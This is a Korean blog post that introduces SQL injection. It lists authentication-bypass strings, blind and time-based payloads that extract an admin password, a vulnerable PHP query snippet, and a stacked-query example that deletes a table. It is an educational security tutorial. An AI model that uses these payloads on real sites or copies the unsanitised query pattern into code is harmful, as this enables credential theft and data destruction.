끄적끄적

SQL Injection 본문

해킹

SQL Injection

widruv 2016. 2. 26. 22:19
※ 무분별하게 또는 악의적으로 사용하게 되면 법적 처벌을 받을 수 있습니다. 함부로 사용하지 마세요. 

SQL Injection

정의
  • 응용 프로그램 보안 상의 허점을 의도적으로 이용해, 개발자가 생각지 못한 SQL문을 실행되게 함으로써 데이터베이스를 비정상적으로 조작하는 코드 인젝션 공격 방법
공격 목적
  • 권한 밖의 데이터 열람, 조작
  • 웹 페이지 변조
  • 시스템 권한 획득

공격 방법
  • 취약하게 개발된 웹 페이지의 변수를 조작해 SQL 명령 수행
  • SQL 쿼리
    • 쿼리문 내에 사용자 입력이 가능한 변수가 있을 때
    • 사용자 입력 검증 과정 누락
    • Error-Based Injection
    • Blind Sql Injection
    • 불필요한 쿼리문 주석처리 ( '#', '--', '<!' )

종류

인증우회
  • 'or '1'='1'--
  • admin'--
  • userid'#

Blind Injection
  • User Input 값이 Query 내 조건문의 True/False 여부가 결정되고
  • 그에 따라 웹 사이트의 output이 다른 경우 이를 이용하여 DB에 있는 데이터 값을 추출할 수 있음
  • /index.php?productCode=1 and true -> 상품화면이 보임
  • /index.php?productCode=1 and false -> 상품화면이 안 보임
  • /index.php?productCode=1 and ( select substr( user_pw, 1, 1 ) from userinfos where user_id = 'admin' ) = 'a' -> 상품화면 안 보임
  • /index.php?productCode=1 and ( select substr( user_pw, 1, 1 ) from userinfos where user_id = 'admin' ) = 'b' -> 상품화면 보임 -> admin의 비밀번호 첫자리가 'b'이다.
  • 이런식으로 하나씩 넣어보면서 admin의 비밀번호를 알아낼 수 있음

Time-Based Blind Injection
  • 조건문의 True/False 여부로 output이 다른 경우라면 time관련 함수를 이용
  • /index.php?productCode=1 and if( false, BENCHMARK(50000000, ENCODE('MSG', 'by 5 seconds')), null ) -> 사이트가 제대로 뜸
  • /index.php?productCode=1 and if( true, BENCHMARK(50000000, ENCODE('MSG', 'by 5 seconds')), null ) -> DB지연 현상 발생

Union Based Injection
  • Union 쿼리를 이용한 공격
  • $board_id =$_POST_['boardID'];
  • $query = "select board_id, title from posts where board_id = $board_id";
  • $result = query( $db, $query ); 
  • 이런 코드가 있으면 boardID 입력하는 곳에 "1 UNION <sql 공격문>" 이러면 UNION 이후의 query가 무조건 실행되므로 공격

Stacked Queries
  • SQL Injection이 가능한 query를 multiple statements로 넣어 실행
  • SQL에서 ;은 문장의 끝
    • Ex) productCode=1;DELETE From products
  • Union Based보다 강력
    • Union은 Select문에 한해서만 사용이 가능하지만 이건 어떤 query든 가능
  • 제한 사항
    • MySQL/PHP, Oracle/Any API 지원 안 함
    • MySQL/other API, SQL Server/Any API 지원
Error-Based SQL Injection


방어 방법

  • 사용자 입력값 검증
  • 입력받은 값을 그대로 query로 쓰지 않기


'해킹' 카테고리의 다른 글

File Inclusion  (0) 2016.02.26
File Upload  (0) 2016.02.26
CSRF ( Cross Site Request Forgery )  (0) 2016.02.26
XSS ( Cross Site Scripting )  (0) 2016.02.26
웹 해킹 기본  (0) 2016.02.26
Comments